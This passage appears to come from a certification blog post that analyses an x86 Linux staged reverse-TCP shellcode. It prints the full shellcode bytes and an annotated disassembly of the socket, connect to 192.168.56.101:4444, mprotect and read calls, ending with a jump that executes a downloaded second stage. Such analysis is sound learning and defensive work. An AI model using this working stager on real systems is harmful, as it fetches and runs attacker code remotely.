         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 1698212032 (host=192.168.56.101);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
Here we see clearly the initial syscalls and their parameters. We can also view the same information graphically:
$ dot shellcode.dot -T png -o shellcode.png
Finally we'll manually analyse the shellcode to understand the complete functionality. To disassemble it:
$ echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1" | ndisasm -b 32 -
The first operation is, as we've seen previously, a socket call:
; man 2 socket
; int socket(int domain, int type, int protocol);
; Parameters can be viewed with strace commnad
; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
00000000  31DB              xor ebx,ebx         ; Zero out ebx
00000002  F7E3              mul ebx             ; Zero out eax
00000004  53                push ebx            ; Protocol - IPPROTO_IP (0) 
00000005  43                inc ebx             ; int call - SYS_SOCKET (1)
00000006  53                push ebx            ; Type - SOCK_STREAM (1)
00000007  6A02              push byte +0x2      ; Domain - AF_INET (2)
00000009  B066              mov al,0x66         ; sys_socketcall
0000000B  89E1              mov ecx,esp         ; Parameters
0000000D  CD80              int 0x80            ; Fire up the interrupt
Next is the connect call, which was also executed by the emulator:
; connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.56.101")}, 102)
0000000F  97                xchg eax,edi        ; fd is returned, then stored into edi
00000010  5B                pop ebx             ; ebx is 2
00000011  68C0A83865        push dword 0x6538a8c0
00000016  680200115C        push dword 0x5c110002
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66     ; sys_socketcall
0000001F  58                pop eax
00000020  50                push eax
00000021  51                push ecx
00000022  57                push edi            ; push first param - the fd
00000023  89E1              mov ecx,esp
00000025  43                inc ebx             ; int call - SYS_CONNECT (3)
00000026  CD80              int 0x80
Next operations were not executed by the emulator. Following is an mprotect call, which sets protection on a region of memory. The function has the following syntax:
int mprotect(const void *addr, size_t len, int prot);
The parameters of the call can be easily viewed with the strace utility:
mprotect(0xbff7e000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
The defines have the following values:
PROT_READ 0x1 
PROT_WRITE 0x2 
PROT_EXEC 0x4 
And if we verify with the assembly code:
00000028  B207              mov dl,0x7          ; PROT_READ|PROT_WRITE|PROT_EXEC
0000002A  B900100000        mov ecx,0x1000      ; 4096
0000002F  89E3              mov ebx,esp
00000031  C1EB0C            shr ebx,0xc
00000034  C1E30C            shl ebx,0xc
00000037  B07D              mov al,0x7d         ; sys_mprotect
00000039  CD80              int 0x80
The final part of the shellcode is, as expected, the read call, which will get the 2nd stage payload from the server, and then execute it:
; man 2 read
; read - read from a file descriptor
; ssize_t read(int fd, void *buf, size_t count);
0000003B  5B                pop ebx             ; fd to read from; pushed at 'push edi' line
0000003C  89E1              mov ecx,esp         ; buffer
0000003E  99                cdq
0000003F  B60C              mov dh,0xc          ; count - a lot of data to be read...
00000041  B003              mov al,0x3          ; sys_read
00000043  CD80              int 0x80
00000045  FFE1              jmp ecx             ; the buffer thathas been read. execute it


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449